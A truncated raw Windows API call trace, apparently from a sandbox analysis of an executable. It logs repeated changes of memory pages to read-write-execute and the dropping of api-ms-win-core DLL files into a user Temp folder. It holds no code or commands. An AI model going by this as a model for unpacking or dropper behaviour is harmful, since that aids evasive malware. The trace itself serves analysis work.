NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.086] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.087] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.087] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x405000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x405000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.088] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.088] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.089] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.089] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.090] VirtualAlloc (lpAddress=0x1f314000, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f314000 [0148.092] VirtualAlloc (lpAddress=0x1f32c000, dwSize=0x24000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f32c000 [0148.097] VirtualAlloc (lpAddress=0x0, dwSize=0x120000, flAllocationType=0x2000, flProtect=0x1) returned 0x50000 [0148.097] VirtualAlloc (lpAddress=0x50000, dwSize=0x118000, flAllocationType=0x1000, flProtect=0x4) returned 0x50000 [0148.104] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.178] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.329] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.331] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.332] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.332] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.334] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x405000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x405000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.352] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.352] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x405000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x405000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.353] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.354] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.354] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.354] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.355] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.355] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.356] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.356] VirtualAlloc (lpAddress=0x1f350000, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f350000 [0148.358] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.359] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f361888, cbMultiByte=34, lpWideCharStr=0x1e7debf0, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-core-console-l1-1-0.dllE341C3") returned 34 [0148.359] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\/api-ms-win-core-console-l1-1-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-core-console-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44 [0148.360] VirtualAlloc (lpAddress=0x168000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x168000 [0148.361] WriteFile (in: hFile=0x44, lpBuffer=0x166d60*, nNumberOfBytesToWrite=0x4938, lpNumberOfBytesWritten=0x1e7dfbf8, lpOverlapped=0x0 | out: lpBuffer=0x166d60*, lpNumberOfBytesWritten=0x1e7dfbf8*=0x4938, lpOverlapped=0x0) returned 1 [0148.363] CloseHandle (hObject=0x44) returned 1 [0148.370] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.370] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.371] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.371] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.371] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.372] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.372] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.373] VirtualFree (lpAddress=0x168000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0148.373] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.373] VirtualAlloc (lpAddress=0x168000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x168000 [0148.374] VirtualFree (lpAddress=0x1f364000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0148.374] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x166d60, cbMultiByte=35, lpWideCharStr=0x1e7debf0, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-core-datetime-l1-1-0.dll341C3") returned 35 [0148.374] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.375] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\/api-ms-win-core-datetime-l1-1-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-core-datetime-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44 [0148.375] WriteFile (in: hFile=0x44, lpBuffer=0x16b4d8*, nNumberOfBytesToWrite=0x4738, lpNumberOfBytesWritten=0x1e7dfbf8, lpOverlapped=0x0 | out: lpBuffer=0x16b4d8*, lpNumberOfBytesWritten=0x1e7dfbf8*=0x4738, lpOverlapped=0x0) returned 1 [0148.377] CloseHandle (hObject=0x44) returned 1 [0148.378] VirtualFree (lpAddress=0x16c000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0148.378] VirtualAlloc (lpAddress=0x1f364000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f364000 [0148.379] VirtualFree (lpAddress=0x168000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0148.379] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f361888, cbMultiByte=32, lpWideCharStr=0x1e7debf0, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-core-debug-l1-1-0.dlldll341C3") returned 32 [0148.379] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\/api-ms-win-core-debug-l1-1-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-core-debug-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44 [0148.503] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.504] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.504] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.505] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.505] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0148.517] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.518] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.518] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.519] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.519] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.520] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.520] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.520] WriteFile (in: hFile=0x44, lpBuffer=0x1f366000*, nNumberOfBytesToWrite=0x4738, lpNumberOfBytesWritten=0x1e7dfbf8, lpOverlapped=0x0 | out: lpBuffer=0x1f366000*, lpNumberOfBytesWritten=0x1e7dfbf8*=0x4738, lpOverlapped=0x0) returned 1 [0148.523] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.523] CloseHandle (hObject=0x44) returned 1 [0148.525] VirtualFree (lpAddress=0x1f368000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0148.526] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.526] VirtualAlloc (lpAddress=0x1f368000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f368000 [0148.527] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f366000, cbMultiByte=40, lpWideCharStr=0x1e7debf0, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-core-errorhandling-l1-1-0.dll") returned 40 [0148.527] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\/api-ms-win-core-errorhandling-l1-1-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-core-errorhandling-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44 [0148.528] WriteFile (in: hFile=0x44, lpBuffer=0x1f36a780*, nNumberOfBytesToWrite=0x4738, lpNumberOfBytesWritten=0x1e7dfbf8, lpOverlapped=0x0 | out: lpBuffer=0x1f36a780*, lpNumberOfBytesWritten=0x1e7dfbf8*=0x4738, lpOverlapped=0x0) returned 1 [0148.529] CloseHandle (hObject=0x44) returned 1 [0148.530] VirtualFree (lpAddress=0x1f36c000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0148.531] VirtualAlloc (lpAddress=0x1f36c000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f36c000 [0148.531] VirtualFree (lpAddress=0x1f364000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0148.532] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f36a780, cbMultiByte=31, lpWideCharStr=0x1e7debf0, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-core-file-l1-1-0.dll1-1-0.dll") returned 31 [0148.532] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\/api-ms-win-core-file-l1-1-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-core-file-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44 [0148.533] VirtualAlloc (lpAddress=0x1f374000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f374000 [0148.533] VirtualFree (lpAddress=0x1f370000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0148.534] WriteFile (in: hFile=0x44, lpBuffer=0x1f37400c*, nNumberOfBytesToWrite=0x5538, lpNumberOfBytesWritten=0x1e7dfbf8, lpOverlapped=0x0 | out: lpBuffer=0x1f37400c*, lpNumberOfBytesWritten=0x1e7dfbf8*=0x5538, lpOverlapped=0x0) returned 1 [0148.536] CloseHandle (hObject=0x44) returned 1 [0148.537] VirtualFree (lpAddress=0x1f374000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0148.538] VirtualAlloc (lpAddress=0x1f370000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f370000 [0148.539] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f36800c, cbMultiByte=31, lpWideCharStr=0x1e7debf0, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-core-file-l1-2-0.dll1-1-0.dll") returned 31 [0148.539] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\/api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44 [0148.539] WriteFile (in: hFile=0x44, lpBuffer=0x1f368038*, nNumberOfBytesToWrite=0x4738, lpNumberOfBytesWritten=0x1e7dfbf8, lpOverlapped=0x0 | out: lpBuffer=0x1f368038*, lpNumberOfBytesWritten=0x1e7dfbf8*=0x4738, lpOverlapped=0x0) returned 1 [0148.541] CloseHandle (hObject=0x44) returned 1 [0148.543] VirtualFree (lpAddress=0x1f368000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0148.543] VirtualAlloc (lpAddress=0x1f364000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f364000 [0148.543] VirtualFree (lpAddress=0x1f370000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0148.544] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f37443c, cbMultiByte=31, lpWideCharStr=0x1e7debf0, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-core-file-l2-1-0.dll1-1-0.dll") returned 31 [0148.545] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\/api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44 [0148.545] WriteFile (in: hFile=0x44, lpBuffer=0x1f365fd0*, nNumberOfBytesToWrite=0x4738, lpNumberOfBytesWritten=0x1e7dfbf8, lpOverlapped=0x0 | out: lpBuffer=0x1f365fd0*, lpNumberOfBytesWritten=0x1e7dfbf8*=0x4738, lpOverlapped=0x0) returned 1 [0148.546] CloseHandle (hObject=0x44) returned 1 [0148.574] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.574] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.574] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.575] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | 